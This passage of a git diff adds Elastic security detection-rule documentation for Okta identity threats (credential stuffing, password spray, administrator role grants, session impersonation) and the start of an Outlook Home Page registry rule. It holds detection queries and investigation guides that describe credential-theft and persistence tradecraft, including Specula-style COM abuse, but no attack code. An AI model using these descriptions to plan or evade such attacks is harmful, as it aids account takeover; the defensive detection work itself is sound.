IdP creation event. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- If the client is a device, check the `okta.device.id`, `okta.device.name`, `okta.device.os_platform`, `okta.device.os_version`, and `okta.device.managed` fields. +- Review the past activities of the actor involved in this action by checking their previous actions logged in the `okta.target` field. +- Examine the `okta.request.ip_chain` field to potentially determine if the actor used a proxy or VPN to perform this action. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if this IdP is authorized to be used by the tenant. +- This may be a false positive if an authorized third-party IdP is used to sign in to the tenant but failures occurred due to an incorrect configuration. + + +*Response and remediation:* + +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- Reset the effected user's password and enforce MFA re-enrollment, if applicable. +- Mobile device forensics may be required to determine if the user's device is compromised. +- If the IdP is authorized, ensure that the actor who created it is authorized to do so. +- If the actor is unauthorized, deactivate their account via the Okta console. +- If the actor is authorized, ensure that the actor's account is not compromised. + +- Block the IP address or device used in the attempts if they appear suspicious, using the data from the `okta.client.ip` and `okta.device.id` fields. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the deactivated IdP was crucial to the organization, consider adding a new IdP and removing the unauthorized IdP. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "okta.system" + and okta.authentication_context.issuer.id: (* and not "Okta") + and ( + event.action: ( + "user.authentication.auth_via_IDP" + or "user.authentication.auth_via_inbound_SAML" + or "user.authentication.auth_via_social" + ) + or ( + event.action: "user.authentication.auth_via_IDP" + and okta.outcome.result: "FAILURE" + and okta.outcome.reason: ( + "A SAML assert with the same ID has already been processed by Okta for a previous request" + or "Unable to match transformed username" + or "Unable to resolve IdP endpoint" + or "Unable to validate SAML Response" + or "Unable to validate incoming SAML Assertion" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-successful-login-after-credential-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-successful-login-after-credential-attack.asciidoc new file mode 100644 index 0000000000..f119301827 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-successful-login-after-credential-attack.asciidoc @@ -0,0 +1,250 @@ +[[prebuilt-rule-8-19-21-okta-successful-login-after-credential-attack]] +=== Okta Successful Login After Credential Attack + +Correlates Okta credential attack alerts with subsequent successful authentication for the same user account, identifying potential compromise following brute force, password spray, or credential stuffing attempts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-6h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Tactic: Initial Access +* Resources: Investigation Guide +* Rule Type: Higher-Order Rule + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta Successful Login After Credential Attack* + + +This rule correlates credential attack alerts with subsequent successful authentication for the same user account. The correlation is user-centric, capturing IP rotation scenarios where attackers may login from a different IP after obtaining credentials. + + +*Possible investigation steps* + +- Identify the user account and review the timeline between the attack and successful login. +- Compare the attack source IPs versus the login source IP to identify potential IP rotation. +- Review the original credential attack alert to understand the scope and nature of the attack. +- Check the authentication method used and whether MFA was required and satisfied. +- Review the session activity following the successful login for signs of account takeover. +- Verify with the user if the login was legitimate. + + +*False positive analysis* + +- Users experiencing legitimate login issues may trigger attack alerts before successfully authenticating. +- Automated password reset flows where a user fails multiple times then succeeds after resetting may trigger this rule. +- The rule correlates on user identity only, so it fires when a user is targeted and later logs in, even if from different IPs. + + +*Response and remediation* + +- If compromise is suspected, reset the user's password and revoke all active sessions. +- Reset MFA if the attacker may have enrolled their own device. +- Block the source IP at the network perimeter. +- Review the user's recent activity for signs of lateral movement or data access. +- Check for persistence mechanisms such as new OAuth apps, API tokens, or enrolled devices. + + +==== Setup + + + +*Setup* + + +This rule requires the following: +1. The Okta Fleet integration, Filebeat module, or similarly structured data for Okta System Logs. +2. The correlated credential attack detection rules must be enabled (at least one): + - Potential Okta Credential Stuffing (Single Source) (94e734c0-2cda-11ef-84e1-f661ea17fbce) + - Potential Okta Password Spray (Single Source) (42bf698b-4738-445b-8231-c834ddefd8a0) + - Potential Okta Brute Force (Device Token Rotation) (23f18264-2d6d-11ef-9413-f661ea17fbce) + - Potential Okta Brute Force (Multi-Source) (5889760c-9858-4b4b-879c-e299df493295) + - Potential Okta Password Spray (Multi-Source) (2d3c27d5-d133-4152-8102-8d051619ec4a) +3. Alerts from these rules must be written to the `.alerts-security.*` indices. + +The rule queries both alert indices and Okta log indices to correlate attack alerts with successful logins. + +==== Rule query + + +[source, js] +---------------------------------- +FROM .alerts-security.*, logs-okta.system-* METADATA _id, _version, _index +// Filter for credential attack alerts OR successful Okta authentications +| WHERE + ( + // Credential attack alerts from the five correlated rules + kibana.alert.rule.rule_id IN ( + "94e734c0-2cda-11ef-84e1-f661ea17fbce", // Credential Stuffing + "42bf698b-4738-445b-8231-c834ddefd8a0", // Password Spraying + "23f18264-2d6d-11ef-9413-f661ea17fbce", // DT Brute Force + "5889760c-9858-4b4b-879c-e299df493295", // Distributed Brute Force + "2d3c27d5-d133-4152-8102-8d051619ec4a" // Distributed Spray + ) + ) + OR ( + // Successful Okta authentication events + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.result == "SUCCESS" + AND okta.actor.alternate_id IS NOT NULL + ) +// correlation - alerts may store user/IP in different fields than raw logs +| EVAL + Esql.user = COALESCE(okta.actor.alternate_id, user.name, user.email), + Esql.source_ip = COALESCE(okta.client.ip, client.ip, source.ip) +// Must have user identity to correlate +| WHERE Esql.user IS NOT NULL +// Classify events and capture timestamps/IPs by event type +| EVAL + Esql.is_attack_alert = CASE( + kibana.alert.rule.rule_id IN ( + "94e734c0-2cda-11ef-84e1-f661ea17fbce", + "42bf698b-4738-445b-8231-c834ddefd8a0", + "23f18264-2d6d-11ef-9413-f661ea17fbce", + "5889760c-9858-4b4b-879c-e299df493295", + "2d3c27d5-d133-4152-8102-8d051619ec4a" + ), 1, 0 + ), + Esql.is_success_login = CASE( + data_stream.dataset == "okta.system" + AND okta.outcome.result == "SUCCESS", 1, 0 + ), + Esql.attack_ip = CASE( + kibana.alert.rule.rule_id IN ( + "94e734c0-2cda-11ef-84e1-f661ea17fbce", + "42bf698b-4738-445b-8231-c834ddefd8a0", + "23f18264-2d6d-11ef-9413-f661ea17fbce", + "5889760c-9858-4b4b-879c-e299df493295", + "2d3c27d5-d133-4152-8102-8d051619ec4a" + ), Esql.source_ip, null + ), + Esql.login_ip = CASE( + data_stream.dataset == "okta.system" + AND okta.outcome.result == "SUCCESS", Esql.source_ip, null + ), + Esql.attack_ts = CASE( + kibana.alert.rule.rule_id IN ( + "94e734c0-2cda-11ef-84e1-f661ea17fbce", + "42bf698b-4738-445b-8231-c834ddefd8a0", + "23f18264-2d6d-11ef-9413-f661ea17fbce", + "5889760c-9858-4b4b-879c-e299df493295", + "2d3c27d5-d133-4152-8102-8d051619ec4a" + ), @timestamp, null + ), + Esql.login_ts = CASE( + data_stream.dataset == "okta.system" + AND okta.outcome.result == "SUCCESS", @timestamp, null + ) +// Aggregate by user (catches IP rotation: spray from IP A, login from IP B) +| STATS + Esql.attack_count = SUM(Esql.is_attack_alert), + Esql.login_count = SUM(Esql.is_success_login), + Esql.earliest_attack = MIN(Esql.attack_ts), + Esql.latest_attack = MAX(Esql.attack_ts), + Esql.earliest_login = MIN(Esql.login_ts), + Esql.latest_login = MAX(Esql.login_ts), + Esql.attack_source_ips = VALUES(Esql.attack_ip), + Esql.login_source_ips = VALUES(Esql.login_ip), + Esql.all_source_ips = VALUES(Esql.source_ip), + Esql.alert_rule_ids = VALUES(kibana.alert.rule.rule_id), + Esql.alert_rule_names = VALUES(kibana.alert.rule.name), + Esql.event_action_values = VALUES(event.action), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy) + BY Esql.user +// Calculate time gap between latest attack and earliest subsequent login +| EVAL Esql.attack_to_login_minutes = DATE_DIFF("minute", Esql.latest_attack, Esql.earliest_login) +// Correlation: attack BEFORE login + success within reasonable window (3 hours) +| WHERE + Esql.attack_count > 0 + AND Esql.login_count > 0 + AND Esql.latest_attack < Esql.earliest_login + AND Esql.attack_to_login_minutes <= 180 +| SORT Esql.login_count DESC +| KEEP Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-threatinsight-threat-suspected-promotion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-threatinsight-threat-suspected-promotion.asciidoc new file mode 100644 index 0000000000..9552507289 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-threatinsight-threat-suspected-promotion.asciidoc @@ -0,0 +1,69 @@ +[[prebuilt-rule-8-19-21-okta-threatinsight-threat-suspected-promotion]] +=== Okta ThreatInsight Threat Suspected Promotion + +Okta ThreatInsight is a feature that provides valuable debug data regarding authentication and authorization processes, which is logged in the system. Within this data, there is a specific field called threat_suspected, which represents Okta's internal evaluation of the authentication or authorization workflow. When this field is set to True, it suggests the presence of potential credential access techniques, such as password-spraying, brute-forcing, replay attacks, and other similar threats. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://help.okta.com/en-us/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.html +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 413 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for Okta ThreatInsight suspected threat events, which are alertable events per the vendor. +Consult vendor documentation on interpreting specific events. + +==== Setup + + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and (event.action:security.threat.detected or okta.debug_context.debug_data.threat_suspected: true) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-assigned-administrator-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-assigned-administrator-role.asciidoc new file mode 100644 index 0000000000..6600dd5224 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-assigned-administrator-role.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-okta-user-assigned-administrator-role]] +=== Okta User Assigned Administrator Role + +Identifies when an administrator role is assigned to an Okta user or group. Adversaries may assign administrator privileges to compromised accounts to establish persistence, escalate privileges, and maintain long-term access to the environment. This detection monitors for both user-level and group-level administrator privilege grants, which can be used to bypass security controls and perform unauthorized administrative actions. + +*Rule type*: query + +*Rule indices*: + +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/administrators-admin-comparison.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Domain: Identity +* Data Source: Okta +* Data Source: Okta System Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Assigned Administrator Role* + + +Okta administrator roles provide elevated permissions to manage users, applications, policies, and security settings within the Okta environment. Adversaries who compromise Okta accounts may assign administrator privileges to establish persistence and maintain control over the identity infrastructure. This rule detects when administrator roles are granted to users or groups, which can indicate privilege escalation or persistence techniques. + + +*Possible investigation steps:* + +- Identify the actor who performed the privilege grant by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the target user or group that received administrator privileges by reviewing the `okta.target` fields. +- Review the specific administrator role granted by examining the `okta.debug_context.debug_data.flattened.privilegeGranted` field. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Check if the source IP is associated with known malicious activity, VPN/proxy services, or unusual geolocations. +- Examine the `okta.request.ip_chain` field to determine if the actor used a proxy or VPN. +- Review the actor's recent authentication history and session activity for suspicious patterns. +- Verify whether the privilege grant was part of a legitimate change request or administrative workflow. +- Check for any other suspicious activities performed by the actor or target account around the same time. +- Review audit logs for any administrative actions performed after the privilege grant. + + +*False positive analysis:* + +- Legitimate administrators may assign roles during normal IT operations such as onboarding, role changes, or incident response. +- Automated provisioning systems or service accounts may assign administrator roles as part of authorized workflows. +- During organizational changes or access certification processes, multiple role assignments may occur. +- Create exceptions for known administrators, service accounts, or specific groups that regularly perform legitimate role assignments. + + +*Response and remediation:* + +- If the privilege grant is unauthorized, immediately revoke the administrator role from the affected user or group. +- Reset credentials and revoke active sessions for both the actor and target accounts if compromise is suspected. +- Enforce multi-factor authentication (MFA) re-enrollment for affected accounts. +- Review all administrative actions performed by the target account after the privilege grant. +- Check for other indicators of compromise such as unauthorized MFA device registrations, policy modifications, or suspicious authentication patterns. +- Alert security leadership and identity management teams about the unauthorized privilege escalation. +- Review and strengthen privileged access management controls, including requiring approval workflows for administrator role assignments. +- Consider implementing anomaly detection for administrator role assignments from unusual sources or at unusual times. +- If broader compromise is suspected, conduct a comprehensive security investigation including forensic analysis of Okta audit logs. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system + and event.action: (user.account.privilege.grant or group.privilege.grant) + and okta.debug_context.debug_data.flattened.privilegeGranted: *administrator* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-session-impersonation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-session-impersonation.asciidoc new file mode 100644 index 0000000000..10898bcd85 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-session-impersonation.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-okta-user-session-impersonation]] +=== Okta User Session Impersonation + +A user has initiated a session impersonation granting them access to the environment with the permissions of the user they are impersonating. This would likely indicate Okta administrative access and should only ever occur if requested and expected. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Session Impersonation* + + +The detection of an Okta User Session Impersonation indicates that a user has initiated a session impersonation which grants them access with the permissions of the user they are impersonating. This type of activity typically indicates Okta administrative access and should only ever occur if requested and expected. + + +*Possible investigation steps* + + +- Identify the actor associated with the impersonation event by checking the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields. +- Review the `event.action` field to confirm the initiation of the impersonation event. +- Check the `event.time` field to understand the timing of the event. +- Check the `okta.target.id`, `okta.target.type`, `okta.target.alternate_id`, or `okta.target.display_name` to identify the user who was impersonated. +- Review any activities that occurred during the impersonation session. Look for any activities related to the impersonated user's account during and after the impersonation event. + + +*False positive analysis* + + +- Verify if the session impersonation was part of an approved activity. Check if it was associated with any documented administrative tasks or troubleshooting efforts. +- Ensure that the impersonation session was initiated by an authorized individual. You can check this by verifying the `okta.actor.id` or `okta.actor.display_name` against the list of approved administrators. + + +*Response and remediation* + + +- If the impersonation was not authorized, consider it as a breach. Suspend the user account of the impersonator immediately. +- Reset the user session and invalidate any active sessions related to the impersonated user. +- If a specific impersonation technique was used, ensure that systems are patched or configured to prevent such techniques. +- Conduct a thorough investigation to understand the extent of the breach and the potential impact on the systems and data. +- Review and update your security policies to prevent such incidents in the future. +- Implement additional monitoring and logging of Okta events to improve visibility of user actions. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.session.impersonation.initiate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-sessions-started-from-different-geolocations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-sessions-started-from-different-geolocations.asciidoc new file mode 100644 index 0000000000..a3c4191670 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-user-sessions-started-from-different-geolocations.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-21-okta-user-sessions-started-from-different-geolocations]] +=== Okta User Sessions Started from Different Geolocations + +Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 311 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Sessions Started from Different Geolocations* + + +This rule detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. + + +*Possible investigation steps:* + +- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.id` values can be used to pivot into the raw authentication events related to this alert. +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. + - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- It is very rare that a legitimate user would have multiple sessions started from different geo-located countries in a short time frame. + + +*Response and remediation:* + +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule. + - This should be done with caution as it may prevent legitimate alerts from being generated. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta* +| where + data_stream.dataset == "okta.system" and + (event.action like "user.authentication.*" or event.action == "user.session.start") and + okta.security_context.is_proxy != true and + okta.actor.id != "unknown" and + event.outcome == "success" +| keep + event.action, + okta.security_context.is_proxy, + okta.actor.id, + okta.actor.alternate_id, + event.outcome, + client.geo.country_name +| stats + Esql.client_geo_country_name_count_distinct = count_distinct(client.geo.country_name) + by okta.actor.id, okta.actor.alternate_id +| where + Esql.client_geo_country_name_count_distinct >= 2 +| sort + Esql.client_geo_country_name_count_distinct desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-outlook-home-page-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-outlook-home-page-registry-modification.asciidoc new file mode 100644 index 0000000000..f292e48fc4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-outlook-home-page-registry-modification.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-21-outlook-home-page-registry-modification]] +=== Outlook Home Page Registry Modification + +Identifies modifications in registry keys associated with abuse of the Outlook Home Page functionality for command and control or persistence. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/breaking-the-rules-tough-outlook-for-home-page-attacks/ +* https://github.com/trustedsec/specula + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Outlook Home Page Registry Modification* + + + +*Possible investigation steps* + + +- What does the written registry value tell you about the configured Outlook content target? + - Focus: `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings`, plus which Outlook folder or Today page the key controls. + - Hint: check for a deletion on the same `registry.path` after the alert time -- if removed, urgency shifts to post-exploitation cleanup or transient testing. If a loopback or localhost URL is present, check for COM object registrations (CLSID entries) serving content on that port. + - Implication: a loopback or localhost URL with a non-standard port is a strong indicator of Specula-style COM server abuse -- do not treat it as benign internal traffic. External URLs, local HTML files, and UNC paths also support concern. The investigation path is narrower only when the target uses a non-loopback internal hostname or a path consistent with enterprise branding. + +- Which process wrote the setting, and does the writer context fit expected Outlook administration? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `user.id`. + - Hint: if the direct writer is a broker or service process, check `Effective_process.executable` for the true 